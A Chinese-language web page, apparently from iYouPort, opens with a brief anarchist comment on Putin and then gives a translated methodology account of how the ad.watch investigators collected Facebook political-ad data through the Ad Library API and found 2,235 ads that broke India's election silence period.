普京已经在电视上说，他担心国家制度的破坏和“无政府状态”的出现！作为无政府主义者，我们可以说，独裁者害怕无政府状态是正确的：毕竟，这意味着他的权力和“俄罗斯世界”的理念将不复存在，相反，社会将开始按照自治、权力下放和邦联制的原则运作。

在国家对社会的控制和镇压将减弱的地方，无政府主义者应该利用开放的机会，在语言和行动上传播无政府主义思想。现在，监狱殖民地和审前拘留中心的骚乱消息已经传出。我们需要推动释放政治犯和其他专制权力的受害者。

无论现在正在展开的叛乱如何结束，新的生命必须从下面—— 从社会广大阶层的要求中，生长出来。为了使之成为可能，我们所有人需要自治和自我组织的结构。团结起来。

□□

原文

ad.watch-深入政治宣传的背后：关于要完成这项调查工作您应该知道的事 - iYouPort

反抗者-寻求经验开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

这篇文章很珍贵。通常情况下我们能看到的只是一个项目的推出，但是很难知道项目在构建过程中所遇到的问题和解决方式；而这些过程将比项目本身对于学习者的帮助更大。在这里，调查人员不仅提供了思考方式、还介绍了很多工具，希望想要构建类似项目的中国调查人员能从这篇记录中获得经验和灵感

「图」

「图」

两位调查员记录了他们创建 ad.watch 项目的过程，这是一个对 **Facebook** 上的政治宣传进行公开研究式调查的项目。它从一个有限的努力变成了一个不断增长的资源，促进了对全世界政治宣传的深入了解。

ad.watch 可以发现被安置在 Facebook 和 Instagram 上政治广告/政治宣传的信息。

互联网上的很多广告都是给用户量身定做的，被称为定向宣传。定向广告利用人们的心理、行为等各类信息 —— 目标是精准地操纵您，为每个人呈现针对性的宣传。

这种差异可能体现在内容、设计、传递、或其他特征上。定制的信息可以对目标用户的心理或行为特征分析过程中产生的假设进行测试。

因为如今的政客们都会利用网络平台来宣传他们的竞选活动，推广他们的信息，而这些平台根据用户的个人信息数据分析来传递广告，所以 “个人即政治” 这句话有了一个全新的维度。

然而，要理解这些机制却并不简单。广告投放的基础设施是在黑箱中运作的，各平台都在费尽心思地混淆他们的机制，并建立了许多障碍阻止任何外界理解这些操纵手段是如何运作的。通常情况下，即使是花了钱的广告商自己也无法了解自己的广告会被推到什么样的用户面前的全貌，也不会知道为什么这样布置。

Nayantara 和 Manuel 创建了 ad.watch 以了解宣传如何在线传播。

「图」

「图」

社交媒体平台上政治广告数据

ad.watch 汇集了**39**个国家**300**多个政治人物在 Facebook 和 Instagram 上发布的政治广告。它包括可视化的数据和故事，让您可以浏览这些广告，并对它们进行单独分析，或基于每个国家、政党和其他类别的数据集。

该项目强调，为了了解政治宣传如何在网上发挥作用，我们不能简单地研究它的外观或内容。至关重要的是，还必须关注它是如何传播的。这意味着要研究这些广告如何迎合不同类别的人 —— 根据目标人群的居住地、年龄、性别等进行分类。

在2019年底撰写这个方法论案例时，发布这个项目已经五个多月了。人们对它的反应非常积极，报道选举和社交媒体的记者已经使用它来调查一些国家的问题。

“我很久以来一直是调查记者，而这样的数据对于报告数字时代的竞选活动至关重要。如今仅查看被披露的报告中的捐款和支出已经不够了” —— 在 *HackerNews* 上共享了 *ad.watch* 链接的用户写道。

该项目已被 Vice、Huffington Post 和 The Hindu 等新闻媒体和科技网站所报道。英国的 **SkyNews** 和奥地利的 **ORF** 等电视媒体利用这些数据来揭秘英国政治和奥地利选举的幕后故事。它还为正在进行的关于政治广告和平台政策的对话提供了素材，并在荷兰、阿根廷、挪威、美国和印度的艺术展览中展出。

但走到这一步并不容易。研究人员问自己的问题随着时间的推移而改变，专业知识和技能并不总是与那些想要完成的任务相匹配。试图了解一家异常强大的公司如此晦涩的基础设施的运作本身就是一项艰巨

的任务。

由于一开始并没有一个具体的目标，所以研究人员是按照自己感兴趣的线索，尝试绕过障碍的。因此，本文将通过不同的实践、道德、技术和政治考虑来叙述 ad.watch 的调查之旅。

「图」

「图」

理解印度大选

2019年4月，印度大选开始时该项目的研究人员就在印度。这应该是历史上最大规模的一次民主实践。

由于印度国土面积大，人口超过13亿，议会席位多 (545个)，所以从2019年4月11日至5月19日的一个月时间里，选举要分七个阶段进行。不同地区在不同的日子举行选举。

由于两位研究人员都对技术和政治感兴趣，他们开始观察互联网、数据和社交媒体公司在选举中的作用。对了解新媒体形式如何在选举过程中发挥作用，尤其关注。

电视、报纸和其他传统媒体在政治竞选中的作用相当好理解 —— 这有适用于它的法规，并且已经成为大众文化的主题。但是，对于社交媒体和有针对性的政治广告之间的关系，以及监管者、公众和好奇的研究者将如何处理这一问题，公众几乎没有什么意识和见解。

在选举期间，社交媒体平台发展迅速，在某些情况下，是社交媒体平台主导了媒体生态系统。像 “热门话题”（在特定时间流行的话题）这样的互联网现象也影响着传统媒体的报道和辩论方向。

然而这些现象 —— 关于为什么是这些、而不是那些，成为 “”热门“，以及它们是如何产生和传播的 —— 却相当不透明。这使得立法者或普通公众很难有适当的回应。这种状况是研究人员关注社交媒体上选举宣传的一个动机。

由于印度选举法早在使用有针对性的数字广告之前就已出台，研究人员不得不怀疑这些法律将如何在社交媒体平台上执行，尤其是在选举交错进行的情况下。研究人员特别好奇的一个细节是，在社交媒体上是否会遵守 “静默期”，以及印度选举委员会将如何监督。

【注：静默期是在选举日之前的某段时间内，不允许政党宣传、组织集会或发布广告。这是为了给选民一个时期，让他们可以反思和下定决心，而竞选活动不会产生其他可能左右选民投票决定的影响。】

在印度，宣传工作在各种平台上进行。最常见的如 WhatsApp、Facebook、Instagram、Google 和 Twitter 都被以有趣的方式使用，但其他平台如 ShareChat 和 TikTok，也是大量有组织和无组织宣传的主要媒介。调查人员开始留意这些平台甚至 Swiggy、PayTM 等送餐和金融科技应用所采取的不同的选举相关措施。

调查人员研究了一段时间后发现了不同的方法：到了2019年年中，TikTok 推出了一项功能，通过这项功能，搜索结果和流行的政治标签会带有一个公益广告，要求人们防范“假新闻”；其他的平台，比如谷歌，在谷歌的广告平台上播放广告之前需要得到地方当局的认证。

在经历了几次关于他们在操纵选举中的作用的丑闻后，Facebook 面临着很大的压力，也不得不采取点行动。

「图」

「图」

Screenshot: Some hashtags like on Tiktok like #Ambedkar appeared with a “Public Service Announcement” calling for responsible behaviour, while others like #chowkidar that aggregated incendiary content directly relevant to the elections did not have the same PSA. Date: 3 May 2019. Source: Nayantara Ranganathan.

没有一个单一的，明确的指导方针或方法，所有的平台都在分享政治宣传。每家公司都在试水，看看如何应对印度选举和政治内容的泛滥。

为了进一步探索这个问题，必须决定监测哪些数字平台。由于没有时间或资源来调查所有的平台，研究人员决定将调查的初步部分集中在 Facebook 上，因为它是印度使用最广泛的在线广告平台之一。

【注：截至2020年初，每月有超过2.41亿活跃用户，Facebook 在印度的用户数量超过任何其他国家。 Facebook 恰好也是继 WhatsAapp 之后在印度使用最广泛的社交媒体平台之一，WhatsAapp 也由 Facebook 拥有。换句话说，如果您在中国进行这项调查，您应该瞄准微信。】

开始这项调查并不容易。 Facebook 最近推出了旨在使政治广告在印度和其他地方更加透明的工具。

「图」

「图」

Screenshot: Facebook's announcement about introducing "Ads disclaimer," "Ad Library" and enforcement mechanisms. Date: 10 June 2019. Source: https://about.fb.com/news/2018/12/ad-transparency-in-india/,

Facebook 的广告库为人们提供了一种通过关键词搜索和页面名称搜索来浏览政治广告的方式。但当研究人员开始探索它时，发现了它的问题：搜索查询并没有返回全面的结果 —— 只是选择了一些调查人员不清楚其逻辑的广告。此外，由于广告没有被贴上任何独特的标识符来追踪，所以无法找到之前在工具中可能已经被注意到的广告的确切副本。

调查的目的是检索数据来监测七阶段选举中的静默期，这意味着需要按地区和广告运行的时期来过滤广告。这样的调查超出了该广告库能够提供的范围。(数月后，广告库为每个广告活动都贴上了独特的数字代码或 "标识符"，以实现可追溯性。)

这迫使调查人员寻找其他方式来监视广告以进行查询。他们得出的结论是，这项研究需要构建自己的广告数据库。

经过进一步的挖掘，调查人员发现了一个不为人知且几乎没有记录的工具，名为 Facebook 广告资源库API，在2019年研究它的时候它刚刚发布。当年所有可寻找该工具信息的地方 —— Github、Reddit 等论坛 —— 都对该API的使用保持沉默。

Facebook 几乎没有做任何解释。调查人员希望找到使用该API的方法有可能以编程的方式建立自己的数据库，并对数据提出更有意义的问题。

获得对此API的访问涉及几个艰巨的步骤：

- 首先必须有一个 Facebook 帐户
- 此帐户的名称必须与政府发布的官方文件的名称完全相同
- 必须在帐户中添加电话号码并启用双因素身份验证
- 必须从 Facebook 接受的选定文件清单中（例如驾照等）提交

身份证明的副本
- 根据调查人员的国籍，还必须采取其他步骤

此列表因国家/地区而异。

尽管要获得验证账户已经具有挑战性，但获得使用该平台的权限后，学习如何使用该平台同样具有挑战性。

熟悉这个API

调查人员终于接触到了 Facebook 的这个API，但在这个阶段对如何使用它还不太了解。在学习使用它的过程中，调查人员遇到了如何创建查询的诸多问题，并且也遇到了如何将结果重新利用成有用的表单的问题。

「图」

「图」

Screenshot: The Facebook Graph API. Date: 10 June 2019. Source: Nayantara Ranganathan.

Manuel：

我花了很多天的时间来了解如何创建查询以及首先可以查询什么。在没有适当的该*API*文档的情况下，而且在其他论坛上也没有太多关于它的讨论（也许是因为它是新发布的），这一切都是新的和未知的领域。

为了使用这个平台，我必须设计一个查询，向 *Facebook* 询问我需要的数据。

一开始，我通过 *&search_terms* 参数来查询广告，它返回所有包含相关关键词的广告。例如，通过查询 *&search_terms＝'modi'*，我收到了所有包含 *'modi'*（*2019*年印度大选候选人）文字的广告，并显示在 *&ad_reached_countries＝['IN']* 参数中指定的国家。这些国家是通过两个字母的 *ISO*国家代码来指定的，本例中印度为*IN*。

通过搜索词查询 API，调查人员能够获得包含某个特定词的所有不同广告。然而，这并不适合全面了解印度某党购买的所有政治广告的任务，因为最宽泛的关键词搜索总是会将一些广告排除在范围之外。此外，有时广告的语言并不是英语，或者包含表情符号等无法预料的

unicode字符。

调查人员没有通过关键字的方法进行搜索，而是尝试使用参数 &search_page_ids＝，但他们很快了解到，搜索页面和用关键字搜索是不兼容的，无法同时使用。

他们决定放弃关键词方法，而采用使用 Page ID 作为切入点。他们发现，在一个查询中可以添加多达10个不同的页面ID，他们开始考虑是否可以通过手动收集所有政治行为者的 Page ID 并为每10个页面构建一个查询来收集所有政治行为者的宣传。

第一步是确定需要收集哪些政治行为者的广告。在印度的情况下，这是由 Nayantara 完成的，因为她熟悉背景。然后其他人进行了验证。

「图」

「图」

Screenshot: Page of YSR Congress Party on Facebook https://www.facebook.com/ysrcpofficial/. Date: 29 November 2019. Source: Nayantara Ranganathan.

一旦得到了感兴趣的主要政治候选人和政党的完整名单，就需要在网上搜索他们的 Facebook 页面，以获得他们的页面ID —— 一个唯一标识每个FB页面的数字。这涉及到每个页面的专用流程。

首先需要找到政治行为者在 Facebook 上的页面。在某些情况下，这些页面很容易找到；而在其他情况下，必须辨别它们是粉丝页面还是官方页面。

有些政治人物有多个页面；有些页面因为联盟或品牌重塑而不断更换名称；还有些时候一些政党和候选人并没有页面。这意味着调查必须做很多工作来了解是否找到了正确的页面。

这些页面上的帖子有时是用地区性语言发布的，而仅在印度就有22种官方语言和9种不同的文字。自然，随着项目的发展，这一挑战也越来越复杂。

收集 Facebook 页面后，调查人员开始执行一个简单但重复的任务：

- 右键单击个人资料图片，然后在新选项卡中将其打开
- 在此 URL 中，找到页面ID号，然后选择并保存。通过这种方式

映射、收集并验证页面ID

一旦获得了页面ID列表，便组成了查询，看起来像这样：

ads_archive?
ad_active_status＝ALL&ad_reached_countries＝[‘IN’]&fields＝ad_snapshot_url,ad

如您在上面所看到的，其中还包括其他参数：

- ad_active_status＝ALL 意味着正在寻找所有有效和无效的广告
- ad_reached_countries＝[‘IN’] 政治广告必须来自印度（IN）
- limit＝99 表示只想要99个结果。这个参数很重要，后面将解释为什么
- 想要获得响应的字段是 ＆fields ＝ 后面的内容：

ad_snapshot_url,ad_creation_time,ad_creative_body,ad_creative_link_caption,ad_cre

Facebook 随后合并了 ＆platform_publisher 参数，它旨在告诉调查者广告是否出现在 Facebook、Instagram、Messenger 或 Audience Network 上。

【注：Audience Network 允许第三方应用程序使用 Facebook 的定位基础架构在 Facebook 和 Instagram 以外的平台上投放广告】

对于每个广告，调查寻求的响应如下：

- **ad_snapshot_url** 该广告的快照链接（每个广告的唯一标识符）
- **ad_creation_time** 广告制作的时间
- **ad_creative_body** 该广告使用什么主体创作的（内容通常为文字形式，有时还包括表情符号）
- **ad_creative_link_title** 被添加到内容中的链接（通常会导致需要更多数据的调查）
- **ad_creative_link_caption** 链接附带的说明（例如“了解详情”或“点击此处”）
- **ad_delivery_start_time** 预定投放广告的时间
- **ad_delivery_stop_time** 广告原定停止投放的时间
- **currency** 付款所用的货币
- **demographic_distribution** 广告投放到的人群的年龄和性别
- **funding_entity** 支付广告的实体
- **impressions** 广告可能被浏览的次数

- **page_id** 页面ID
- **page_name** 页面名
- **region_distribution** 广告投放的区域
- **spend** 在特定广告上花费的一系列资金

「图」

「图」

Screenshot: Inputting the query above on https://developers.facebook.com returns data in this form. Date: 30 November 2019. Source: Nayantara Ranganathan.

该查询返回了一些数据，这是调查了解数据外观的第一步。

即使到了这个阶段，也只是设法收集到了99个最新广告的数据。Facebook 允许收集多达5000个广告，但是，随着调查人员提高广告请求的数量，查询崩溃的可能性也急剧增加。

这种情况会经常发生，以至于当进行大型查询时，调查人员访问广告资料库API的浏览器选项卡会冻结。所以坚持设置为返回**99**到**200**个结果之间。

需要找到一种方法来超越99个结果，这是实际的收集，但也超越了理论上能提供的5000个结果，以便收集所有的广告。

【注：该API查询会因为未知的原因意外崩溃，有时能用，有时不能用，有时对完全相同的查询提供不同的错误结果。

这个时候会明显感觉到，**Facebook** 对该**API**缺乏兴趣，这与调查人员系统地收集数据可能存在的障碍相吻合。

障碍的规模之大让人怀疑平台是否 **Facebook** 有意阻止调查人员访问数据，而广告资料库和**API**的发布是否只是在用一个故意不合适的工具来粉饰透明度问题。

这也发生在 Facebook 打击很多软件公司从常规API收集数据的时期。这些禁令可以看作是剑桥分析公司丑闻之后的战略举措，**Facebook** 利用丑闻打着保护用户隐私的旗号限制透明度。

监视资本主义的有效性和 Facebook 广告平台的竞争优势顺理成章地取决于对其内部运作的最低限度披露。】

在查询结果页面的底部，有一个带有“分页”号的网址。这个链接会指向另一个URL，在那里出现下一页的结果。以此类推。如果在下一个查询中包含这个分页，它将引导到第2页，然后是第3页 …… 它看起来是这样的：

&after＝c2NyYXBpbmdfY3Vyc29yOk1UVTFPREV3TXpRd01Eb3pNRGM0Tn

在查看所有结果之前，无法知道会有多少页的结果。但这样一来，至少可以手动浏览每一页的结果，并将浏览器中的数据复制到文本文件中。

数据是以JSON格式给出的，每一页都包含文件开头和结尾的语法。这意味着如果按照数据的来龙去脉存储数据，就必须为每一页结果创建一个文件。调查人员很快就意识到，将每99个广告的结果保存在一个单独的文件中将是一项极其艰巨和低效的任务。所以他们寻找了一种方法来复制JSON查询的结果，去掉页眉和页脚。

在第一页，保存了页眉和内容，但没有保存页脚；在最后一页保存了内容和页脚。这样就可以在一个JSON文件中获得10个政党和政治人物的数据。为了让这个系统成功，需要在删除的页脚处添加一个逗号(,) 和一个换行符。

调查人员必须不断地小心不要因 “过度使用” **API**而被阻止，同时也要避免不可预测的崩溃。这种试错的方法也带来了其他问题，比如被API的速率限制所阻挡。

Facebook 没有指定使用限制，但一些限制显然是存在的。调查人员第一次想用 Python 脚本自动收集数据的努力被阻止了，似乎 Facebook 是故意让数据自动收集变得困难，如果从较小的、较慢的人工交互中进行查询，会有更多的成功机会。

因此，目前的挑战是如何使广告收集自动化，同时又使其看起来像是人工操作的那样好。

调查人员开发了一种非常机械和重复的模式来手动收集数据。工作流程如下所示：

- 加载一个查询
- 复制结果（页脚除外）
- 点击下一页
- 在下一页加载时，将数据粘贴到文本文件中

- 添加逗号和换行以保持语法中数据的连续性
- 切换标签
- 复制没有页眉和页脚的数据
- 粘贴到文档中
- 添加逗号和换行…

Manuel：

像 *ctrl*＋*c*、*ctrl*＋*v* 和 *alt*＋*tab* 这样的快捷键有助于提高这个机械过程的效率。为了使该*API*的工作和我自己的行为高效同步，我调整了 *&limit*＝ 参数，使其返回的数据在浏览器中的加载时间与我完成复制粘贴数据到文本文件这部分工作流程所需的时间相同。

人类行为的随机性规避了大部分时间的 *Facebook* 阻塞和崩溃。尽管如此，这依旧是一项极其缓慢、重复和细致的工作。每天花上几个小时的时间来进行这种人工收集数据的工作，通过这种方法建立几百万字节，然后是几千兆字节的*JSON*数据，这真是磨练耐力。

我的效率变得非常高，以至于我可以不假思索地工作，体现出所需的动作，就像骑自行车那样。所面临的挑战是如何让自己保持清醒，同时继续完成任务。通过这个系统，我们最终收集到了我们在印度研究的政治行为者的所有广告数据。

「图」

「图」

违反静默期

印度选举法规定了选举日之前48小时的静默期 —— 这意味着在选举时间之前的两天内，所有的竞选活动，包括线上和线下的广告都被禁止。如果在互联网上遵循这些规则，调查人员对 Facebook 广告资料库API的查询就不应该返回从2019年4月10日到2019年4月11日（第一阶段选举日）的广告。

为了查看是否是这种情况，您需要找到一种方法来理解收集到的数据。它是JSON格式的，所以需要能够处理和帮助分析JSON数据的软件。

Manuel：

在查找网络论坛的时候，我了解到了 *Tableau*，这是一款数据可视化分析软件。我下载了 *Tableau Public* 的试用版，这是一款适用于运行 *Windows* 操作系统的计算机的软件。

使用 *Tableau Public* 从一开始就不是很简单。我需要从互联网上的各种论坛和 *YouTube* 上的解释中得到一些提示，才能明白掌握*JSON*格式的数据后要做什么。

但是 *Tableau* 并不能在 *Linux* 上使用，而我的电脑上通常运行的是 *Linux* 操作系统。所以为了能够使用 *Tableau*，我下载了一个叫做 *VirtualBox* 的虚拟化软件。该虚拟化软件可以让你运行一个与电脑上安装的操作系统不同的操作系统，而不需要在设备上再添加一个操作系统。

「图」

「图」

Screenshot: VirtualBox, an application that allows you to use your computer to virtually access another machine. Date: 20 July 2019. Source: Manuel Beltrán.

设置和安装好后，就可以用 Tableau 来理解数据了。调查人员必须玩转 Tableau，以了解如何使该软件读取调查所拥有的数据，如何使它读取多个数据文件，这种组合数据的结构必须是什么，以及 Tableau 一般提供什么功能。

调查人员能够提出以下问题：

- 在特定时间段内展示了哪些广告？
- 哪个政党在哪个地区展示广告？
- 印度南部的老人正在看到什么广告？

调查人员意识到对了解哪些广告违反静默期有帮助的一个参数是 “ad_creation_time”，它记录的日期是这样的格式：“2019–04–02T17:22:45＋0000.”

但经过进一步的研究，调查人员意识到，广告创建的日期和时间并不一定与广告交付给人们的时间一致。

为了了解广告运行的时间，比较有用的参数是 “ad_delivery_start_time” 和 “ad_delivery_stop_time”。由于印度选举

的多阶段性质（即 投票发生在不同的时间在不同的地区），调查还必须让静默期时段与要进行民调的相应地区相匹配。所以使用了 “region_distribution” 这个参数。

调查人员对数据进行了过滤，以显示在特定区域的静默期内活跃的广告，并对其进行了进一步分析。结果开始发现，这些违规行为并非偶然或特殊，而是常规性的。

利用 “ad_start_date” 和 “ad_stop_date” 这两个参数，调查人员识别出了在静默期运行的广告。除此之外，还使用 “region_distribution” 来分离特定状态下在静默期运行的广告。

「图」

「图」

Screenshot: A step in the process of understanding the number of ads in violation of the silence period using Tableau visualisation software. Date: 20 July 2019. Source: Manuel Beltrán.

就这样，调查人员开始系统地收集所有违反静默期的广告。此时调查已经即将进入选举的第五阶段，所以收集了前四个阶段的违规情况。调查人员了解到，其中一个最重要的指标 —— 花在广告上的金额，只提供了一个范围。

这使得确定政治行为者支出的工作变得复杂。但由于这是一个如此重要的信息，调查人员决定达成一个折衷方案，计算出每个广告的平均范围。

正如所料，这些信息导致了几个有趣的发现。一些制作了数千条广告的政治行为者，反而比制作广告数量较少但花费较大的政治行为者花的钱要少。

调查人员了解到，广告的数量并不总是与花费的金额成正比。对于静默期的调查来说，这意味着即使一方的违规广告多了很多，也有可能另一方在打破静默期的定时广告上花费了更多的钱。这些都是重要观察。

在前四个阶段中，调查人员总共收集到了2235个广告，都违反了印度的静默期。

一旦意识到有具体的违法证据，就会面临许多研究人员和调查人员都

在苦苦挣扎的问题："我们能对此做些什么？"

此时，该国仍处于多阶段选举中，还有几周就结束了。调查人员的选择是，要么通知 Facebook 违规行为，要么通知印度选举委员会（EC）。当然还有第三种选择：继续记录下来，并写出来。然而，在没有媒体关系或出版平台的情况下，调查人员不确定这是否是最有影响力的途径。

尽管并没有真正期待选举委员会（EC）有能力解决甚至是否倾向于解决这个问题，但调查人员更犹豫是否要将这些证据通知 Facebook。

向 **Facebook** 报告这些违规行为意味着，调查人员将确保民主进程完整性的责任交给了一家有着糟糕问责记录的外国私营公司，而不是一个民主机构。

这将意味着将主动委托 Facebook 承担对选举进程有重大影响的监督职能。虽然可以想象向 Facebook 报告会是让广告被撤下的一个更快捷的方法，但是。作为一个原则问题，调查人员决定先向选委会报告，并向公众公布调查结果。

调查人员提交了一份报告，其中包含有关2235个违规广告的数据的证据，并按选举的四个阶段进行了分类，并给出了简短的解释。

不出所料，没有收到任何回应。

除了向EC提交报告外，调查人员还决定撰写有关报告。*HuffingtonPost India* 同意将这份调查与 Facebook 政治广告违反静默期的调查结果结合起来。

「图」

「图」

Illustrative image accompanying the reporting. Credits: Manuel Beltrán and Nayantara Ranganathan.

在选举的其余阶段，侵权行为仍在发生，迄今为止尚未采取任何行动。

通往 ad.watch

在寻找关于静默期具体问题的答案的过程中，调查人员发现了其他有

趣的通过 Tableau 阅读数据的方法。这里的主要挑战之一是了解如何组织数据。由于调查收集的数据是在多个文件中，必须确保文件以正确的方式组织起来。

调查人员在设计数据收集的时候，根据文件的大小进行了限制。这意味着，如果一个政治行为者的广告数据量非常庞大（比如特朗普的广告数据就非常庞大），那么文件中包含的广告数据将少于10个政治行为者的标准数量，而只包含一个政客的数据。

通过大量的试错，以及在 Tableau 社区论坛和 YouTube 上关于该工具的视频的帮助下，掌握了数据的结构。既然它是一个如此流行的数据分析和可视化工具，那么要找到这些细节的答案，就需要探索已有的论坛。

除了沉默期的违规行为，调查还发现了其他有趣的细节：政治广告的信息架构、可用的信息类别、以及缺失的数据，都很有启示意义。

例如，尽管允许用户在广泛的选项中进行身份识别，但 Facebook 还是将人们的性别划分为男性和女性的二元组。这是一个有趣的窥探，让人们了解到用户体验层面的工作方式与为营销而设计的后端基础设施的工作方式有多么不同。

「图」

「图」

Screenshot: Dropdown menu options that appear on Facebook account settings after you choose to set your gender as “Custom”. Date taken 29 November 2019. Source: Nayantara Ranganathan.

「图」

「图」

Screenshot: Segmentation of Facebook users into the gender binary, visible in the process of creating ads or boosting posts. Date taken 29 November 2019. Source: Nayantara Ranganathan.

当调查人员成功揭开静默期违规事件后，印度大选已经顺利进行，2019年欧洲议会选举也即将到来。借此机会，调查人员也开始挖掘西班牙各党派的数据，为欧洲议会选举和2019年的西班牙市政和全国选举做准备。慢慢地，调查开始扩大数据收集和研究的范围。

虽然现在正在收集和探索不同背景下的 Facebook 广告数据，但调查人员对写一些自己没有背景知识的国家的故事感到不合适。除此之外还觉得这样做在某种程度上是不正确的，即使对这些地方有一部分了解，或者找到了来自不同国家的合作者。

简单说，建议公民的调查人员着眼于本地，您将获得比外界更便捷的洞见。

但在坚持自己的路线的同时，调查人员也想让其他国家的这些数据能够被获取。于是决定，将收集所有国家的现有数据，但是，将分析和调查工作留给可能有兴趣的人去做。

调查人员与世界其他地区正在进行选举观察的同事和朋友联系，看看收集到的数据是否会直接对他们有用，或者他们是否有兴趣倡导在这些地区也发布类似的数据。

比如在菲律宾，Facebook 是杜特尔特政府进行虚假宣传活动的重要渠道。菲律宾也恰好是剥削和创伤性的内容编辑合同工劳动力市场之一。调查人员采访了菲律宾的朋友和同事，分享了这项调查的内容，并听取了那里的发展和准备情况。

一旦决定开始在全球范围内研究政治广告，就必须认真考虑采取什么方法，哪些团体或个人已经在从事与政治广告相关的项目，以及可以填补哪些空白。

比如 FBTrex 是一个帮助用户通过安装浏览器扩展来收集包括政治广告在内的帖子元数据的工具，这些帖子会在他们的新闻源中显示出来。

【提示：Facebook Tracking Exposed（FBTrex）是一个项目，其愿景是个人应该控制针对自己的算法。其中，该项目提供了一个浏览器插件，可以收集您的时间线上所有公共帖子的元数据，并允许您将这些数据贡献给公共数据集，或者将其私藏起来供自己使用。

FBTrex 还允许研究人员（和用户）通过他们的API使用/再利用一部分数据。

ProPublica 创建了一个名为“政治广告收集器”的工具，您可以安装一个浏览器插件，收集您在浏览时看到的所有政治广告，并将它们发送到一个数据库中，使 ProPublica 能够更好地分析政治广告定位的性质。

另一个项目 Who Targets Me 让您可以安装一个浏览器插件，收集您的时间线上所有赞助的帖子。该插件将这些数据发送到一个众包的全球政治广告数据库上，它将赞助的帖子与政治广告商的分类列表进行匹配，并得出谁在网上针对您进行宣传的结论。】

调查人员已经熟悉了 Facebook 广告资料库API所提供的信息字段，但并不知道广告商可用于定位用户的信息字段。

这意味着，即使知道某条广告在德里达到了1,000到10,000人之间，也不知道这些是否是广告主为定位广告而选择的参数。调查人员有兴趣知道有哪些选项可以用来管理目标用户。

所以调查人员创建了一个虚构的政党页面，并测试购买和定位广告。两个人各创建了一个页面，并对帖子进行了“提升”。不出所料，从这个窗口可以获得的细节水平远远大于以透明度的名义透露的信息。

调查人员可以通过指定想要针对的“人口规模、兴趣和行为”来创建“自定义受众范围”。还可以输入可能已经表示对这个虚构的业务或活动感兴趣的人的数据，而 Facebook 会提供给“看似相似的受众”提供广告。

这些都是标准的宣传方法，但很快即将发现，可用于定位的字段似乎相当有问题，可能会导致各种歧视。例如，调查人员发现一个名为“庆祝斋月的人的朋友”的类别。

「图」

「图」

Screenshot: Targeting suggestions when creating an ad. Date: 29 November 2019. Source: Nayantara Ranganathan.

调查人员了解到美国的事态发展，在那里，歧视做法被记录在案，Facebook 也被追究责任。还了解到，Facebook 已承诺在就业、住房和信贷广告方面不允许以种族和性别为目标。

这些类别证实，这类问题在世界其他地方都没有得到解决。例如，上述“庆祝斋月的人的朋友”这个选项是一个很容易被用来针对穆斯林的类别，而此时印度的反穆斯林情绪既来自国家，也来自整个社会。

「图」

「图」

Screenshot: Suggestions for excluding people from the targeting of an ad. Date: 29 November 2019. Source: Nayantara Ranganathan.

发布 ad.watch

调查人员决定收集世界各地政治人物的数据。

如前所述，调查人员一直在使用 Tableau 进行内部实验，了解数据。此时，他们发现 Tableau 允许在线发布，事实上，它提供了相对动态和复杂的可视化水平。

虽然调查人员跃跃欲试地使用 Tableau 软件来帮助理解数据，但一旦出现发布的问题，就不得不考虑是否要让整个项目依赖于一个专有的、主要由营销部门用来进行数据分析的工具。

还必须考虑到，是否会因为依赖专有软件而使调查的工具变得脆弱，因为该软件可以随时决定撤销访问权。

调查人员探索了其他深受欢迎的开源替代方案，如 Rawgraphs 和 Datawrapper。然而，考虑到数据的大小和特殊性，这些都被排除了。这些替代品中的一些无法分析广告的内容，因为广告有时包含非拉丁语脚本的字符。所以最终决定继续使用 Tableau Public。

【注：令人费解的是，为什么这些备受赞誉的开源免费可视化软件中，很多都无法打开JSON文件哪怕是小片段。

调查人员使用了一个名为 JSONLint 的网站，它可以帮助 “验证” JSON数据 —— 也就是说，帮助发现文件中是否存在格式错误。因为文本字段经常包含不是拉丁字母的东西，还有表情符号和最近版本的 Unicode 中包含的字符。】

于是他们开始用 Tableau 设计自己的可视化界面来浏览数据库。在使用 Tableau 时遇到的一个问题是，它处理这种规模的数据库需要大量的计算资源，超过了5千兆字节。通过虚拟机运行的计算机速度非常慢，或者有时根本无法加载数据。而在有限的财力下购买一台更强大的计算机是不可能的。

Manuel：

我所任教的大学为教师提供了使用英特尔 *Xeon*处理器和*20GB*内存的

远程桌面。事实证明，这是一个很好的解决方案。如果没有这一点，我们就不得不租用虚拟专用服务器来实现同样的目的。可以通过远程桌面协议（*RDP*）访问远程桌面。这是一个允许您访问和控制与您不在同一物理位置的系统的协议。

【注：Tableau 仅允许您导入最大128MB的 JSON 文件，因此调查人员必须将文件拆分到该限制以下。他们使用了一个简单的 Python 脚本 json-splitter 来完成该任务。】

想要在希望通过该项目实现的目标之间找到适当的平衡是一项挑战。

作为一个揭露尚未被广泛理解的技术机制的项目，重要的是以一种任何人都可以学习和理解政治广告如何运作的方式来展示它。它需要足够强大，让记者和研究人员可以进行调查。它还需要将 Facebook 广告的基础设施如何运作问题化。融合所有这些元素需要一些时间，调查人员探索了不同的模式。

在使其成为移动友好型或基于桌面的工具之间，调查人员选择了桌面，因为这样可以提供更深入的体验。

当 ad.watch 界面即将完成时，如何更新数据库的问题变得迫在眉睫。如果直接把数据转发给需要的人，也许更新的内容就不那么重要了，但是作为一个活跃资源，调查人员觉得随时更新更为重要。

下一个挑战是让脚本了解某个查询何时结束，以便脚本可以跳转到下一个查询。或者说，如何让文件保持在 Tableau 的限制之下每个不超过128MB。

如前所述，Facebook 对自动查询进行了限制，所以自动化设计开始模仿人类的行为，在查询之间加入随机的时间延迟。从最初的版本开始，这个脚本就成了一个珍贵的数据收集系统，每天都在改进它。通过它，调查人员可以更好地了解了 Facebook API 的工作原理，并尝试收集政党以外的数据。

后来调查人员创建了一个带有 Page ID 的文本文件系统，以及一个单独的带有两个字母ISO国家代码的文件，因此它可以一次性收集多个国家。这个新系统还能够更容易地更新政党名单。

「图」

「图」

Screenshot: Homepage of ad.watch website. Date: 29 November 2019. Source: Manuel Beltrán.

2019年7月26日，ad.watch 的第一次发布是在人工收集数据的情况下完成的，但当时也已经将脚本完善到了可以定期更新数据的程度，事实证明，这对项目的效果极为宝贵。调查人员上线了网站，并在个人社交媒体网络上发布消息进行传播。收到了很多积极的反应，包括记者们利用这些数据来了解 Facebook 政治广告中的问题，注意到各国选举的趋势。

一些经验

1、通过 Facebook 验证

回到调查人员最初尝试访问数据并需要进行身份验证的过程，他们意识到两位研究人员必须面对完全不同的验证过程才能访问 Facebook 的广告平台。

Nayantara：

